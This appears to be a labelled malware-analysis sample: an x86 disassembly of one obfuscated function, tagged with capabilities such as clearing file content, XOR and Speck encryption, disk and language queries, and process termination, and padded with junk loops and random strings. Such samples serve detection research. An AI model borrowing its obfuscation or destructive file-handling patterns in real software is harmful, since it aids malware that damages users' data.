Function at 0x10026201
Capabilities:
Clear file content
Encode data using xor
Encrypt data using speck
Get disk information
Identify system language via api
Terminate process

Disassembly:
mov eax, 0x1005f342
call fcn.1005ddd8
sub esp, 0x5b8
push ebx
mov dword [ebp - 0x1c], 0x841b3c69
xor ebx, ebx
push esi
mov dword [ebp - 0x28], 0x4ef4
cmp dword [ebp - 0x28], 0x509a
push edi
mov dword [ebp - 0x10], esp
jle 0x10026257
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10079158
xor eax, esi
cdq
push edx
push eax
call fcn.1000e4b2
inc edi
cmp edi, 0x50cf
jl 0x10026234
inc esi
cmp esi, 0x683e
jl 0x10026232
mov dword [ebp - 0x18], ebx
jmp 0x1002626d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x15c], 0x1747
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1002625c
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x28], 0x4e7a
jge 0x1002628e
mov edx, str.zrnu_ntaa_zahnapt_awptufqyk_praoecw
mov ecx, 0x10079158
call fcn.10012e6f
or dword [ebp - 4], 0xffffffff
push 0x4bce
lea eax, [ebp - 0x72]
mov byte [ebp - 0x72], bl
push eax
push 0x16fe
push 0x4183
push 0x4ffa
push ecx
push ecx
push 1
push 0x34b5
push 0x1200
push 0x6a96
mov edx, 0x6b0f
mov ecx, 0x71e2
call fcn.10025057
add esp, 0x2c
mov dword [ebp - 0x1c], ebx
jmp 0x10026379
push 0x506b
push 0x231f
push ecx
mov dword [ebp - 0x18], 0x49febb67
xor cl, cl
call fcn.10024660
add esp, 0xc
mov dword [ebp - 0x18], 0xe
jmp 0x10026370
mov dword [ebp - 0x20], ebx
mov cl, 1
mov dword [ebp - 0x24], 0x82abbf9a
mov dword [ebp - 0x28], 0xd1af
mov dword [ebp - 0x24], 4
call fcn.100217ec
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x20], ebx
jne 0x10026363
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x15c]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], 1
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 9
je 0x10026321
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x19
jg 0x100262fc
mov dword [ebp - 0x18], 0x6e871d97
mov dword [ebp - 0x18], ebx
jmp 0x100263a0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4b8], 0x2403
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002638f
dec dword [ebp - 0x4b0]
push 3
pop edi
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], ebx
jl 0x100263cc
push ecx
push ecx
mov edx, 0x1ff5
mov cl, 1
call fcn.10023524
dec dword [ebp - 0x18]
pop ecx
pop ecx
jns 0x100263b7
mov eax, dword [0x1039e120]
test al, 1
jne 0x10026409
or eax, 1
mov dword [0x1039e120], eax
mov dword [ebp - 4], 2
mov dword [0x1039e0fc], ebx
mov dword [0x1039e100], ebx
call fcn.1002a65b
push 0x1005fb4e
mov dword [0x1039e0fc], eax
call fcn.10045e89
or dword [ebp - 4], 0xffffffff
pop ecx
push edi
lea ecx, [ebp - 0x3b0]
call fcn.1000e794
mov dword [ebp - 4], edi
mov dword [ebp - 0x8c], 0x7df2f4a8
mov dword [ebp - 0x18], ebx
jmp 0x1002643a
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x3b0]
mov dword [eax + ecx*4], 0xff0ea75c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10026427
push 0x37a8
push 0xf3
push 0x282b
push 0x23f7
push 1
push 0xc7b
push 0x50bf
push 0x7776
push ebx
mov edx, 0x435c
xor cl, cl
call fcn.1002545c
add esp, 0x24
mov dword [ebp - 0x8c], ebx
push 2
pop esi
jmp 0x10026523
push ecx
lea eax, [ebp - 0x3b0]
mov dword [ebp - 0xcc], 0xffffffff
push eax
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x290], 6
push eax
lea eax, [ebp - 0x290]
mov edx, 0x7a00
push eax
lea eax, [ebp - 0xcc]
push eax
push 0x6d1f
push ebx
call fcn.10025b10
add esp, 0x1c
mov byte [ebp - 0x80], bl
lea eax, [ebp - 0x80]
mov edx, 0x67d5
xor cl, cl
push 0x1035
push 0x4e7e
push 1
push 1
push 0x581e
push eax
call fcn.100241ca
add esp, 0x18
mov dword [ebp - 0xcc], esi
cmp dword [ebp - 0xcc], ebx
jl 0x1002651d
mov byte [ebp - 0x3d], bl
cmp byte [ebp - 0x3d], 0
je 0x10026515
push 0x28bc
push ecx
mov cl, 1
call fcn.100258aa
pop ecx
pop ecx
dec dword [ebp - 0xcc]
jns 0x100264fd
inc dword [ebp - 0x8c]
cmp dword [ebp - 0x8c], esi
jle 0x10026482
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3b0]
call fcn.1000e817
cmp byte [0x1007a2a5], 0
je 0x10026743
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x5c], 0xffffffff
mov dword [ebp - 0x64], 6
mov dword [ebp - 0x170], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x10026578
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x454], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002656b
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x68]
push 1
push eax
call fcn.10021837
mov dword [ebp - 0x24], 0x6117
add esp, 0x10
cmp dword [ebp - 0x24], 0x62ee
jle 0x10026606
mov edi, ebx
mov esi, ebx
mov ecx, ebx
mov dword [ebp - 0x28], ebx
mov eax, esi
cdq
idiv ecx
lea ecx, [ebp - 0x554]
or edx, edi
mov eax, edx
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100265d0
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x554]
call fcn.1000efb0
mov ecx, dword [ebp - 0x28]
inc ecx
mov dword [ebp - 0x28], ecx
cmp ecx, 0x850
jl 0x100265af
inc esi
cmp esi, 0x1672
jl 0x100265aa
inc edi
cmp edi, 0x539c
jl 0x100265a8
cmp dword [ebp - 0x24], 0x5d37
jge 0x1002661a
push str.syb_kme_dfv_epodoh_ysaatx
call fcn.10045eb3
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x5c], 0xb15d3e99
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x64], ebx
je 0x1002668c
mov dword [ebp - 0x28], 0xffffffff
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x5c]
add eax, ecx
mov ecx, dword [ebp - 0x64]
imul ecx, eax
mov eax, dword [ebp - 0x28]
cmp ecx, 0x91a83acd
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x454]
setl cl
xor edx, edx
cmp ecx, 0xde30
setl dl
sub edx, 0x7ba3f300
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
mov dword [ebp - 0x170], ecx
jmp 0x1002951e
mov dword [ebp - 0x28], 0x1aa8
cmp dword [ebp - 0x28], 0x1ce1
jle 0x100266c6
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x10079158
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.1000e4b2
inc edi
cmp edi, 0x7dc3
jl 0x100266a0
inc esi
cmp esi, 0x7bbf
jl 0x1002669e
push 2
pop edx
mov dword [ebp - 0x5c], edx
cmp dword [ebp - 0x5c], ebx
jl 0x10026701
push 3
pop ecx
mov dword [ebp - 0x64], ebx
jmp 0x100266f7
mov dword [ebp - 0x68], ebx
jmp 0x100266ef
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x454], 5
inc dword [ebp - 0x68]
cmp dword [ebp - 0x68], ecx
jl 0x100266de
inc dword [ebp - 0x64]
cmp dword [ebp - 0x64], edx
jle 0x100266d9
dec dword [ebp - 0x5c]
jns 0x100266d4
mov dword [ebp - 4], 6
cmp dword [ebp - 0x28], 0x17d9
jge 0x1002951e
mov edx, str.vvtj_iqxlad_diqjs_dmy_eispz_ddk_uofb_linm_cgpql_vpmprmhk_ltoo
mov ecx, 0x10079158
call fcn.10012e6f
jmp 0x1002951e
push esi
lea ecx, [ebp - 0x344]
call fcn.1000e794
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x434]
mov dword [ebp - 0x1b8], 0xfffffffa
mov dword [ebp - 0x244], 0xfffffffe
mov dword [ebp - 0x220], 1
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 0xe149cff2
push edi
call fcn.1000e794
push ebx
push 0xc93
push 0x39f7
lea eax, [ebp - 0x344]
mov byte [ebp - 4], 9
push eax
lea eax, [ebp - 0x2b4]
mov dword [ebp - 0x25c], 0x5a4a104a
mov dl, 1
mov dword [ebp - 0x30], 0xd4f6
push eax
mov cl, dl
call fcn.10022b45
add esp, 0x14
lea eax, [ebp - 0x434]
xor dl, dl
mov cl, 1
push eax
push 0x7562
push 0x7082
lea eax, [ebp - 0x2b4]
push eax
push 0xc14
push 1
call fcn.10025bf4
add esp, 0x18
lea eax, [ebp - 0x344]
lea edx, [ebp - 0x244]
push 1
push ecx
push eax
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.100235fa
push 1
push ebx
push 1
lea edx, [ebp - 0x25c]
mov ecx, 0x43c7
call fcn.10024938
add esp, 0x1c
lea ecx, [ebp - 0x434]
call fcn.1000e817
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x344]
call fcn.1000e817
mov dword [ebp - 0x28], 0x7709
cmp dword [ebp - 0x28], 0x7ab5
jle 0x100268a3
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
lea ecx, [ebp - 0x524]
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10026879
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x524]
call fcn.1000efb0
inc edi
cmp edi, 0x5d11
jl 0x1002685b
inc esi
cmp esi, 0x78c8
jl 0x10026859
push 3
pop edi
push 0x1007a2a5
push 1
mov edx, 0x1661
mov ecx, 0x5b38
call fcn.1002367e
cmp dword [ebp - 0x28], 0x75f6
pop ecx
pop ecx
jge 0x100268cf
push str.clwzxrtvs_npr_oxhzjy_zoujcxaa_zmcmupk
call fcn.10045eb3
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3bc]
push edi
call fcn.1000e794
push 0x1a0c
push 0x248
push ebx
mov dword [ebp - 4], 0xc
lea eax, [ebp - 0x3bc]
push ebx
push eax
mov dword [ebp - 0x20], 0xfffffffd
lea edx, [ebp - 0x22c]
mov dword [ebp - 0x18], 0xe197e7c1
mov cl, 1
mov dword [ebp - 0x30], 0xf31a
push 0x4a21
call fcn.100241ca
mov eax, dword [ebp - 0x20]
xor edx, edx
mov esi, dword [ebp - 0x3bc]
add esp, 0x18
mov ecx, dword [esi + 4]
lea eax, [ecx + ecx]
cmp eax, ecx
mov ecx, 0xd8da8e97
setne dl
xor eax, eax
cmp edx, dword [esi + 8]
setle al
cmp ecx, eax
sbb eax, eax
inc eax
cmp eax, 0xfffffff8
jae 0x10026b2d
mov dword [ebp - 0x1c], 0xc98aac1e
mov dword [ebp - 0x28], 0x352601c8
mov dword [ebp - 0x16c], 0x1731d497
mov dword [ebp - 0x20], ebx
jmp 0x10026b1e
push dword [ebp - 0x22c]
movdqa xmm0, xmmword [0x1006c3f0]
lea eax, [ebp - 0x498]
push eax
lea eax, [ebp - 0x4a8]
mov dword [ebp - 0x168], ebx
push eax
push ebx
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x164], ebx
movdqu xmmword [ebp - 0x4a8], xmm0
mov dword [ebp - 0x160], ebx
call fcn.10013b89
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x60], 0xffffffff
mov dword [ebp - 0x28], 0x6a9bebb
cmp dword [ebp - 0x1c], ebx
je 0x100269e2
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x168]
mov dword [eax + 4], ecx
test ecx, ecx
je 0x100269e2
xor edx, edx
inc edx
jmp 0x100269e4
mov edx, ebx
mov eax, dword [ebp - 0x60]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle cl
xor edx, edx
imul eax, ecx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x20]
sub eax, dword [esi + 8]
cmp eax, 0xfeed1b4b
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x3899
setne al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x16c], ebx
je 0x10026a64
push 0x33f5
push ebx
lea eax, [ebp - 0x168]
mov cl, 1
push eax
push 0x2221
push 1
push 0x27ab
lea edx, [ebp - 0x16c]
call fcn.100229c5
add esp, 0x18
jmp 0x10026b0c
mov dword [ebp - 0x264], 0xfffffff9
mov dword [ebp - 0x60], ebx
jmp 0x10026b03
mov dword [ebp - 0x26c], 0xfffffff7
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], ebx
jl 0x10026ae1
mov dword [ebp - 0x1c], ebx
jmp 0x10026ad7
push 0x2e7b
lea eax, [ebp - 0x264]
mov edx, 0x7f9c
push eax
push 1
lea eax, [ebp - 0x168]
push eax
push 1
lea eax, [ebp - 0x26c]
push eax
push ebx
lea ecx, [ebp - 0x60]
call fcn.10024a43
add esp, 0x1c
mov byte [ebp - 0x3d], bl
cmp byte [ebp - 0x3d], 0
je 0x10026ad4
push ecx
push 0x2922
xor cl, cl
call fcn.10025656
pop ecx
pop ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jle 0x10026a8d
dec dword [ebp - 0x18]
jns 0x10026a88
push 1
lea eax, [ebp - 0x168]
mov ecx, 0x7c86
push eax
lea eax, [ebp - 0x60]
push 0x6e55
push eax
call fcn.100239fb
add esp, 0x10
inc dword [ebp - 0x60]
cmp dword [ebp - 0x60], edi
jle 0x10026a76
lea ecx, [ebp - 0x168]
mov byte [ebp - 4], 0xc
call fcn.1000e817
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x17
jle 0x10026974
jmp 0x10026bb5
mov dword [ebp - 0x1c], ebx
jmp 0x10026b43
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1b0], 0x28c4f412
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10026b32
mov eax, dword [ebp - 0x1a8]
xor edx, edx
mov eax, dword [ebp - 0x1b0]
test eax, eax
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x1a8]
cmp edx, eax
mov eax, dword [ebp - 0x1b0]
setl cl
xor edx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x1b0]
cmp eax, dword [esi + 8]
mov eax, dword [ebp - 0x1b0]
setge dl
add edx, dword [esi + 4]
imul ecx, edx
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x1b0]
add ecx, eax
mov eax, dword [ebp - 0x1b0]
cmp eax, ecx
setg dl
xor eax, eax
cmp edx, 0xe185
setne al
mov dword [ebp - 0x18], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3bc]
call fcn.1000e817
push 1
lea ecx, [ebp - 0x35c]
mov dword [ebp - 0xec], 0x10075af0
call fcn.1000e794
lea ecx, [ebp - 0x94]
mov dword [ebp - 4], 0xe
push ecx
lea ecx, [ebp - 0x35c]
mov dword [ebp - 0x18], 0xfffffff6
push ecx
xor eax, eax
mov dword [ebp - 0x30], 0xffffffff
inc eax
mov edx, 0x7bd4
push eax
mov dword [ebp - 0x274], eax
mov cl, al
push eax
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x2c8], 0x1013923c
push 0x7d45
mov dword [ebp - 0x27c], 0xc044b0bf
mov dword [ebp - 0x30], 0xe0bec035
push 0x6b07
call fcn.100241ca
add esp, 0x18
mov dword [ebp - 0x94], ebx
jmp 0x10026c63
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x4f4], 0x6ebf4d39
inc dword [ebp - 0x94]
cmp dword [ebp - 0x94], 2
jl 0x10026c4c
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10026e30
mov dword [ebp - 0x24], 0x5321
cmp dword [ebp - 0x24], 0x5467
jle 0x10026ced
mov eax, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov ecx, edi
mov esi, ebx
sar eax, cl
mov dword [ebp - 0x1c], eax
mov edi, eax
mov dword [ebp - 0x34], ebx
mov ecx, esi
sar edi, cl
mov eax, edi
mov ecx, 0x10079158
or eax, ebx
cdq
push edx
push eax
call fcn.1000e4b2
inc ebx
cmp ebx, 0x5ee
jl 0x10026ca4
mov eax, dword [ebp - 0x1c]
inc esi
push 0
pop ebx
cmp esi, 0x3c77
jl 0x10026c9b
mov edi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x12b8
jl 0x10026c92
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0xd07
jl 0x10026c8d
push 3
pop edi
mov dword [ebp - 0x30], 0xfffffffd
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x24], 0x502b
jge 0x10026d31
mov edx, str.sljhtjnw_bcltac_jqjqlllt
mov ecx, 0x10079158
call fcn.10012e6f
jmp 0x10026d31
mov dword [ebp - 4], 0xe
lea ecx, [ebp - 0x2e0]
mov dword [ebp - 0x30], ebx
push 1
call fcn.1000e794
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x2d4]
mov dword [ebp - 0x2c4], ebx
push edi
call fcn.1000e794
mov byte [ebp - 4], 0x12
xor edx, edx
mov dword [ebp - 0x1c0], 7
inc edx
mov dword [ebp - 0x9c], ebx
jmp 0x10026d8c
mov ecx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x2e0]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x9c]
cmp dword [ebp - 0x9c], edx
jl 0x10026d77
lea eax, [ebp - 0x2d4]
mov cl, dl
push eax
lea eax, [ebp - 0x9c]
push eax
call fcn.10024b62
mov dword [ebp - 0x24], 0x4e72
cmp dword [ebp - 0x24], 0x50cd
pop ecx
pop ecx
jle 0x10026e08
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x28], 0x1fe
mov eax, edi
lea ecx, [ebp - 0x584]
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10026de0
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x584]
call fcn.1000efb0
add edi, esi
dec dword [ebp - 0x28]
jne 0x10026dc6
inc esi
cmp esi, 0x76e0
jl 0x10026dbd
push 3
pop edi
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x35c]
cmp dword [eax + ecx*4], ebx
je 0x10026f28
lea ecx, [ebp - 0x2d4]
call fcn.1000e817
lea ecx, [ebp - 0x2e0]
call fcn.1000e817
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x35c]
call fcn.1000e817
mov dword [ebp - 0x118], ebx
lea eax, [ebp - 0x70]
mov dword [ebp - 0x1d0], 0xbf90a233
mov dl, 1
push 0x30fb
mov dword [ebp - 0x1d8], 0xc40ed3c1
mov cl, dl
push eax
mov dword [ebp - 0x280], 0x658a6001
mov dword [ebp - 0x24c], 1
push 0x629e
mov dword [ebp - 0x240], 0xa3bdf78
push 0x7b18
mov dword [ebp - 0x254], 0xfffffff8
mov dword [ebp - 0x1c8], 0x5ab1361
push 0x7225
mov dword [ebp - 0x248], ebx
push ebx
mov byte [ebp - 0x70], bl
call fcn.10025bf4
add esp, 0x18
lea eax, [ebp - 0x254]
lea edx, [ebp - 0x248]
push eax
lea eax, [ebp - 0x24c]
push eax
push 1
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x1c8]
push eax
push ecx
lea eax, [ebp - 0x280]
push eax
lea eax, [ebp - 0x1d0]
push eax
lea ecx, [ebp - 0x1d8]
call fcn.10024322
mov eax, dword [ebp - 0xec]
add esp, 0x20
mov cl, byte [eax]
push 0xc
pop edx
mov dword [ebp - 0x144], edx
cmp cl, byte [edx + eax]
je 0x10026f9e
inc edx
mov dword [ebp - 0x144], edx
cmp edx, 0xe0
jl 0x10026f0b
jmp 0x1002714e
cmp dword [ebp - 0x24], 0x4e55
jge 0x10026f3c
push str.kgjqjp_bcg_qtag_myrrz_gjtxittgt_vhit_nbwq_jufdzc_oxveclkms
call fcn.10045eb3
pop ecx
lea eax, [ebp - 0x274]
mov dword [ebp - 4], 0x12
push eax
lea eax, [ebp - 0x27c]
push eax
push ecx
lea eax, [ebp - 0x2c8]
push eax
lea eax, [ebp - 0x2c4]
push eax
lea eax, [ebp - 0x1c0]
push eax
push ebx
lea edx, [ebp - 0x2e0]
lea ecx, [ebp - 0x2d4]
call fcn.10024ba0
add esp, 0x1c
lea ecx, [ebp - 0x2d4]
call fcn.1000e817
lea ecx, [ebp - 0x2e0]
mov byte [ebp - 4], 0xe
call fcn.1000e817
dec dword [ebp - 0x18]
jmp 0x10026c6f
lea eax, [ebp - 0x118]
mov dl, 1
push eax
push ecx
push ecx
lea eax, [ebp - 0x144]
push eax
sub esp, 0xc
push 0x401f
call fcn.10025178
add esp, 0x20
lea ecx, [ebp - 0x1a0]
push 1
call fcn.1000e794
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x30], 0xfffffff7
mov dword [ebp - 0x48], ebx
jmp 0x10026ff1
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x2f4], 0xfffffffd
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 2
jl 0x10026fe0
push 0x119f
push ecx
push 0x3f9a
push 0x18b2
lea eax, [ebp - 0x1a0]
mov edx, 0x2bce
push eax
push 0x54f5
push ebx
push 0x366e
lea ecx, [ebp - 0x48]
call fcn.1002223c
xor ecx, ecx
mov dword [ebp - 0x48], ebx
add esp, 0x20
inc ecx
jmp 0x10027042
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x234], 0x33c22515
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], ecx
jl 0x10027031
mov dword [ebp - 0x48], ebx
jmp 0x10027059
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x2fc], ecx
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 2
jl 0x1002704c
mov eax, dword [ebp - 0x1a0]
mov dword [eax], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x28], 0xa335c22c
mov dword [ebp - 0x18], ebx
jmp 0x1002708a
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x460], 0xbc044b0b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10027079
dec dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax]
mov esi, dword [ebp + eax*4 - 0x2f4]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1a0]
cmp dword [eax], ecx
setle dl
cmp esi, edx
jle 0x100270c4
cmp dword [ebp - 0x2f0], ebx
jne 0x100270c4
mov ecx, ebx
jmp 0x100270c7
xor ecx, ecx
inc ecx
add ecx, 0xfffff1d5
imul ecx, dword [ebp - 0x45c]
sub ecx, 0xa8d7
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0x1c76d7be
setne al
xor ecx, ecx
mov dword [ebp - 0x45c], eax
inc ecx
mov dword [ebp - 0x1c], ebx
jmp 0x1002712a
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0x98737a30
mov dword [ebp - 0x30], 0x1d3efe35
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0xcc027682
dec dword [ebp - 0x2f8]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x100270f8
mov eax, dword [ebp - 0x1a0]
inc dword [eax]
cmp dword [eax], ecx
jle 0x10027067
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a0]
call fcn.1000e817
mov dword [ebp - 0x1f0], 4
mov dword [ebp - 0x18], 0x4a8c6a53
mov dword [ebp - 0x20], 1
mov dword [ebp - 0xfc], 0xfffffffd
mov dword [ebp - 0x24], 0xb7be2d3d
mov dword [ebp - 0x28], 0xfffc
mov dword [ebp - 0x18], ebx
jmp 0x10027194
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x4e0], 0x31bb000e
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10027183
mov dword [ebp - 0x18], 0xa
cmp dword [ebp - 0x18], 8
jne 0x1002727c
push 0xfffffffffffffffa
pop esi
mov dword [ebp - 0x1c], ebx
xor edx, edx
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0xfc]
sub dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x18]
add ecx, eax
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setle dl
cmp edx, 0xfffffff8
jl 0x1002725c
mov dword [ebp - 0x2c], 0x67b47e0f
mov dword [ebp - 0x34], 0xf1bd53d2
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 0x2c], eax
jne 0x10027230
mov eax, dword [ebp - 0x20]
cmp esi, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x1c]
je 0x10027230
mov edx, ebx
jmp 0x10027233
xor edx, edx
inc edx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
setg cl
add ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x1c]
jg 0x1002724f
cmp dword [ebp - 0x2c], ebx
je 0x1002724f
xor eax, eax
inc eax
jmp 0x10027251
mov eax, ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
jmp 0x1002726f
lea eax, [ebp - 0xfc]
mov dl, 1
push eax
push ecx
push ecx
call fcn.100244fa
add esp, 0xc
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 8
je 0x100271ad
push dword [ebp - 0x234]
movdqa xmm0, xmmword [0x1006c400]
lea eax, [ebp - 0x4b8]
push eax
lea eax, [ebp - 0x4c8]
mov dword [ebp - 0x100], 0x10075bd0
push eax
push ebx
lea ecx, [ebp - 0x28c]
mov dword [ebp - 0x28c], ebx
movdqu xmmword [ebp - 0x4c8], xmm0
mov dword [ebp - 0x288], ebx
mov dword [ebp - 0x284], ebx
call fcn.10013b89
push 1
push ecx
lea eax, [ebp - 0x28c]
mov dword [ebp - 4], 0x16
push eax
push ecx
mov dword [ebp - 0x88], 0x942a1e94
lea ecx, [ebp - 0x88]
call fcn.10025aba
mov dword [ebp - 0x28], 0x7f9a
add esp, 0x10
cmp dword [ebp - 0x28], 0x82c5
jle 0x10027349
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x53c]
xor eax, edi
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10027322
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x53c]
call fcn.1000efb0
inc esi
cmp esi, 0x5838
jl 0x10027306
inc edi
cmp edi, 0x6e58
jl 0x10027304
mov dword [ebp - 0x88], 0xfffffff6
jmp 0x1002737c
lea eax, [ebp - 0x6a]
mov byte [ebp - 0x6a], bl
push eax
sub esp, 0x10
mov dl, 1
call fcn.100245e7
add esp, 0x10
xor dl, dl
mov ecx, 0x42d9
call fcn.100249fb
inc dword [ebp - 0x88]
pop ecx
cmp dword [ebp - 0x88], 0x1a
jl 0x10027355
cmp dword [ebp - 0x28], 0x7f58
jge 0x10027399
push str.lwp_plwzglusd_owybd_hxba_ovtdcqtru_ljlfd_ljh_uogugceah_gkhueruo_khmfsmd_fzlmjhak_eww_jcfkojofm
call fcn.10045eb3
pop ecx
or dword [ebp - 4], 0xffffffff
